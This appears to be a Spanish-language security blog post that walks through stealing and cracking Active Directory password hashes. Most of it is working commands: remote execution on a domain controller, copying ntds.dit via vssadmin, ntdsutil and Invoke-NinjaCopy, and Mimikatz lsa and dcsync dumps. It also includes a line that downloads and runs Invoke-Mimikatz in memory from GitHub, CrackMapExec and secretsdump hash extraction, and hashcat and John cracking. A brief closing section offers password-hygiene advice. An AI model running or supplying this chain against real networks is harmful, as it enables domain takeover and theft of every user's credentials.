Actualmente existen varias versiones mejoradas del protocolo de autenticación desafío-respuesta. NTLMv1 y NTLMv2https://en.wikipedia.org/wiki/NT_LAN_Manager#NTLMv1

Opciones de ejecución de código remoto

Hay varias formas diferentes de ejecutar comandos de forma remota en un controlador de dominio,  suponiendo que se ejecuten con los derechos adecuados. Los métodos de ejecución remota más fiables incluyen PowerShell (aprovecha WinRM) o WMI.

WMI
wmic /node:COMPUTER/user:DOMAIN\USER /password:PASSWORD process call create "COMMAND"
PowerShell (WMI)
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList $COMMAND -ComputerName $COMPUTER -Credential $CRED
WinRM
winrs -r:COMPUTER COMMAND
PowerShell Remoto
Invoke-Command -computername $COMPUTER -command {$COMMAND}
New-PSSession -Name PSCOMPUTER -ComputerName $COMPUTER; Enter-PSSession -Name PSCOMPUTER

1. Extraer los ficheros ntds.dit y SYSTEM de un controlador de dominio

Después de una post-explotación, conseguir acceso a un sistema y una escalada de privilegios. Podemos realizar un dump de los hashes NTLM a partir del fichero ntds.dit. Este fichero es la base datos encargada de almacenar los hashes de las contraseñas de usuarios de Active Directory.

El primer paso para la extracción de hashes de contraseñas de usuarios de Active Directoy, es obtener una copia del archivo ntds.dit. El problema es que no podemos copiar este fichero sin más, ya que está constantemente en uso y bloqueado por AD.

Figura 1: Error al copiar el archivo en uso ntds.dit de un controlador de dominio.

Para volcar y/o copiar el fichero ntds.dit podemos usar cualquiera de estos métodos.
  • Servicio VSS: Volume Shadow Copies a través del comando VSSAdmin.
  • IFM (Install From Media) de NTDSUTIL.
  • Invoke-NinjaCopy - módulo PowerSploit.
  • Mimikatz lsa y dcsyn (volcado de memoria de credenciales, no copia ficheros).
  • Invoke-Mimikatz - módulo PowerSploit (volcado de memoria de credenciales, no copia ficheros).
  • CrackMapExec.

Método 1: Servicio VSS - Volume Shadow Copy: Usando el comando VSSAdmin 

El servicio VSS (Volume Shadow Copy) o servicio de instantáneas de volumen de Windows es el encargado de crear backups a modo de instantáneas temporales. Se puede usar el comando vssadmin para la gestión de este servicio de instantáneas. De modo que después se puedan copiar de un volumen de instantánea en el que no estará constantemente en uso por AD.

Crear un volumen de instantánea del disco C:
vssadmin create shadow /for=C:
copy <Nombre_Volumen_Instantanea>\Windows\System32\config\SYSTEM C:\export\SYSTEM
copy <Nombre_Volumen_Instantanea>\Windows\NTDS\ntds.dit C:\export\ntds.dit
Eliminar el volumen de la instantánea del disco C:
vssadmin list shadows
vssadmin delete shadows /shadow={Id_Instantanea}
Figura 2: Copiar los ficheros en uso ntds.dit y SYSTEM con VSSAdmin de un controlador de dominio.

Método 2: IFM (Install From Media) de NTDSUTIL

El método IFM (Install From Media) usa los datos en los medios de instalación para instalar AD DS, lo que elimina la necesidad de replicar todos los objetos de un controlador de dominio asociado.

NTDSUtil es la utilidad de comandos para trabajar de forma nativa con la BD de AD (ntds.dit) y permite la creación de conjuntos IFM para DCPromo. IFM se utiliza con DCPromo para "Instalar desde los medios", de modo que el servidor que se promueve no necesita copiar los datos del dominio a través de la red desde otro DC.

Al crear un IFM, se toma una instantánea de VSS, se monta y el archivo ntds.dit y los datos asociados se copian en la carpeta de destino (c:\temp).
ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q
Figura 3: Usando IFM de ntdsutil para exportar ntds.dit y SYSTEM de un controlador de dominio. 

Método 3: Invoke-NinjaCopy - módulo PowerSploit

Otra forma de copiar archivos en uso por el sistema o en este caso Active Directory es usar el cmdlet Invoke-NinjaCopy incluido en el módulo PowerSploit, este copia un archivo de un volumen NTFS sin procesar, es otra ofrma de copiar archivos bloqueados por Active Directory sin alertar a ningún sistema de monitoreo.

Instalar el módulo PowerSploit:
  • Descargamos el módulo
  • Copiamos el directorio en una de las rutas por defecto donde se almacenan los módulos de PowerShell. Podemos consultar los paths listando la variable de entorno: $Env:PSModulePath.
  • Importamos el módulo: Import-Module PowerSploit.
  • Para obtener todos los cmdlets disponibles: Get-Command -Module PowerSploit.
Invoke-NinjaCopy -path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination C:\export\ntds\ntds.dit
Figura 4: Copiar el fichero ntds.dit con Invoke-NinjaCopy de un controlador de dominio.

Método 4: Mimikatz lsa y dcsync (solo volcado de memoria de los hashes de credenciales)

Este método no realiza un copia de los ficheros ndts.dit y SYSTEM. Solamente realiza un volcado de memoria si alguno de los usuarios a iniciado sesión en el equipo o controlador de dominio.

Usando LSASS (Local Security Authority Subsystem Service):
mimikatz lsadump::lsa /inject exit
Figura 5: Mimikatz - Volcado de memoria usando lsass.

Usando dcsync:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
Figura 6: Mimikatz - Volcado de memoria de un usuario usando dcsync. 

Método 5: Invoke-Mimikatz - módulo PowerSploit (solo volcado de memoria de los hashes de credenciales)

Invoke-Mimikatz es un componente de PowerSploit. Aprovecha Mimikatz 2.0 e Invoke-ReflectivePEInjection para cargar reflexivamente la DLL de Mimikatz (incluida en el script) en la memoria. Esto permite volcar credenciales sin tener que escribir el binario de Mimikatz en el disco.

Descargar e importar la función en memoria de la instancia actual de PowerShell.
IEX (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1' -UseBasicParsing).Content

Ejecutar Invoke-Mimikatz usando LSASS.

Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit'

Ejecutar en un equipo remota (PowerShell remoto debe estar permitido y configurado):

Invoke-Mimikatz -Command '"privilege::debug" "LSADump:LSA /inject"' -Computer DC01.domain.local 

Método 6: CrackMapExec

Otra alternativa es hacer uso de CrackMapExec. En este caso debemos tener las credenciales de una cuenta privilegiada local o de dominio sobre el DC. Dependiendo del parámetro que indiquemos disponemos de varias opciones de volcado de hashes ya sea una lectura en memoria o copiando el contenido del fichero ntds.dit a una máquina remota que en este caso será una Kali.

El parámetro que nos interesa sería a nivel de dominio sería el --ntds que se muestra en el figura 6. Pero mostraré las alternativas para un uso local como el volcado de la SAM (Security Account Manager).
  • Obteniendo hashes desde un volcado de memoria leyendo lsass.exe (parámetro --lsa).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --lsa
Figura 7: Volcado de memoria con CrackMapExec --lsa.
  • Obteniendo la base de datos local SAM (parámetro --sam).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --sam
Figura 8: Volcando de memoria con CrackMapExec --sam.
  • Obteniendo los hashes de todas las cuentas de dominio Active Directory desde el fichero ntds.dit (parámetro --ntds).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --ntds
Figura 9: Volcado del fichero ntds.dit de un controlador de dominio.

2. Volcado de hashes NTLM del fichero ntds.dit

Podemos volcar los hashes NTLM del fichero ntds.dit de dos formas:

Método 1: Módulo DSInternals - Usando los cmdlets Get-BootKey y Get-ADDBAccount

Instalar módulo DSInternals.
Install-Module -Name DSInternals -Force
Import-Module -Name DSInternals
Import-Module -Name ActiveDirectory
Get-BootKey lee la clave de registro de Windows del sistema de arranque SYSTEM del registro de Windows "HKEY_LOCAL_MACHINE\SYSTEM" o también puede hacerse referenciando el propio fichero SYSTEM "%systemroot%\System32\config\SYSTEM".

Podemos exportar la clave de registro o copiar el fichero SYSTEM a un directorio en el que no esté en uso con alguna de las técnicas mencionadas anteriormente en el apartado 1.

Para poder volcar los hashes NTLM de los usuarios de AD y leerlos en plain-text del fichero ntds.dit. Obtenemos la clave de registro SYSTEM con Get-BootKey y se la pasamos con el parámetro -BooKey en Get-ADDBAccount.
reg save hklm\system C:\export\system
$key = Get-BootKey -SystemHiveFilePath C:\export\system
Get-ADDBAccount -All -BootKey $key -DBPath C:\export\ntds.dit
Es probable que al intentar leer el fichero ntds.dit se muestre el error "The database is not in a clean state". Hacemos uso de la utilidad de comandos esentutl para reparar la base de datos de Active Directory.
esentutl /p C:\export\ntds.dit /!10240 /8 /o
A continuación volvemos a ejecutar Get-ADDBAccount.

Figura 10: Get-ADDBAccount - Obtener información de las cuentas de usuarios de AD.

Podemos simplificar la información de salida de las cuentas de usuarios de AD redireccionándola a un fichero y obtener los hashes de contraseñas asociados a los nombres de las cuentas de AD que se corresponde al atributo -SamAccountName-.
Get-ADDBAccount -All -BootKey $key -DBPath C:\export\ntds.dit > C:\export\hashes_tmp.txt
Select-String -Path C:\export\hashes_tmp.txt -Pattern '(NTHash)|(SamAccountName:)' > C:\export\hashes.txt
Remove-Item C:\export\hashes_tmp.txt
Figura 11: Recopilación de hashes NTLM del fichero ntds.dit de las cuentas de usuarios de AD.

Método 2: Kali - Impacket-secretsdump (script en Python -secretsdump.py-)

Otra forma de realizar el volcado de hashes NTLM del fichero ntds.dit es usar un script en Python llamado secretsdump.py. Este se integra en uno de los módulos auxiliary de escaneo Impacket-secretsdump de Metasploit.

En este caso al usar el fichero de ntds.dit de forma local ejecutamos Impacket-secretsdump desde el path "/usr/share/impacket" en una terminal de Kali.
impacket-secretsdump -system /root/hashes/SYSTEM -ntds /root/hashes/ntds.dit LOCAL -outputfile /root/hashes/hashes.txt
Figura 12: Volcado de hashes NTLM del fichero ntds.dit con Impacket-secretsdump. 

Método 3: Nishang Framework - Get-PassHashes.ps1 (script en PowerShell)

También se puede realizar un volcado de hashes con uno de los script del framework de Nishang Get-PassHashes.ps1

Nishang es un framework muy potente para PowerShell que contiene multitud de scripts para escaneo, gathering, escalada de privilegios, pivoting, etc.

Figura 13: Nishang Framework - Volcado de hashes NTLM con Get-PassHashes.ps1.

3. Cracking con Hashcat y John The Ripper: Descifrado de hashes NTLM para obtener las contraseñas de usuarios de AD

Podemos descifrar hashes utilizando tres posibles técnicas.
  1. Ataque por fuerza bruta (Brute-force attack).
  2. Ataque por diccionarios o Wordlist.
  3. Ataque por Rainbow tables.

Hashcat

En este caso como prueba de concepto se empleará un ataque por diccionario usando la herramienta Hashcat. Integrada en Kali (/usr/bin/hashcat).

Una vez redireccionamos la salida de los hashes a un fichero solamente quedaría descifrar dichos hashes para obtener el valor de cadena en plain-text de las contraseñas de cuentas de usuarios de AD.
hashcat -m 1000 /root/hashes/hashes.txt /root/breachcompilation.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --force
Donde "breachcompilation.txt" es el diccionario -fichero que contiene el wordlist- e "InsidePro-PasswordsPro.rule" será el tipo de regla utilizada para el proceso de password cracking.

En la siguiente captura vemos como se muestra el hash:contraseña. De esta manera podemos relacionar el hash con el usuario al que se corresponde a través del fichero que se creo en el apartado 2 donde se mostraba el volcado de hashes NTLM.

La estructura estándar sería al como:
<Nombre de usuario>:<ID de usuario>:<LM hash>:<NT hash>:<Comment>:<Home Dir>:
Figura 14: Ataque por diccionario con Hashcat - Password cracking de hashes NTLM de Active Directory.

John The Ripper

Otra opción es realizar el ataque por fuerza bruta o por diccionario con la herramienta John The Ripper. Integrada en Kali (/usr/sbin/john).

Obtener la lista de los formatos disponibles.
john --list=formats
Siguiendo el ejemplo anterior usado en Hashcat. Para un tipo de formato de hashes NTLM (--format=NT) usando un diccionario.
john --format=NT /root/hashes/hashes.txt --wordlist=/root/breachcompilation.txt --rules
Si se descifran contraseñas, se almacenan en $JOHN/john.pot. El archivo john.pot no es leído en un formato en claro. Para leer este fichero se debe usar el parámetro --show seguido del fichero donde están almacenados los hashes.
john --show --format=NT /root/hashes/hashes.txt
Figura 15: Ataque por diccionario con John The Ripper - Password cracking de hashes NTLM de Active Directory.

Podemos seguir el avance a tiempo real del proceso de cracking consultando el fichero $JOHN/john.log.
tail -f .john/john.log
Figura 16: Consultar el log de John para ver a tiempo real el proceso de cracking.

4. Hash cracking Online: Comprobar si los hashes NTLM ya son conocidos en bases de datos de Internet

Otra forma de realizar el cracking de passwords una vez conocemos los hashes NTLM. Sería consultar a través de varios sitios web disponibles en internet si el hash que tienen en las wordlist de estas webs hace match con el que se le referencia, si así directamente nos dará como resultado la cadena de password encontrada.

Existen multitud de webs para realizar estas comprobaciones como por ejemplo:
Figura 17: Descifrar hashes NTLM comparándolos con hashes ya conocidos en sitios webs.

5. Comprueba si ya existe el hash de tu contraseña antes de usarla

Un motivo a tener en cuenta en el momento de crear contraseñas, es comprobar si el hash de la contraseña que utilizamos o vamos utilizar ya es conocido y está público en internet. Si ya existe en alguna wordlist de los sitios webs comentados en el apartado 4. Obviamente podemos realizar esta comprobación en más sitios, las webs anteriores solo fueron un ejemplo.

Algo que nos puede dar un poco más de confianza en la fortificación de nuestras passwords, sería comprobarlas previamente generando el hash NTLM a partir de tu contraseña. Lógicamente es un pequeño extra de seguridad, no lo hace ni mucho menos más seguro. Simplemente demorarías el tiempo de un ataque por diccionario a un atacante y la facilidad de obtener una contraseña.

Algunas webs que podemos usar para la generación de hashes NTLM:
Figura 18: Generar hashes NTLM a partir de una contraseña.

Saludos!

Entradas Populares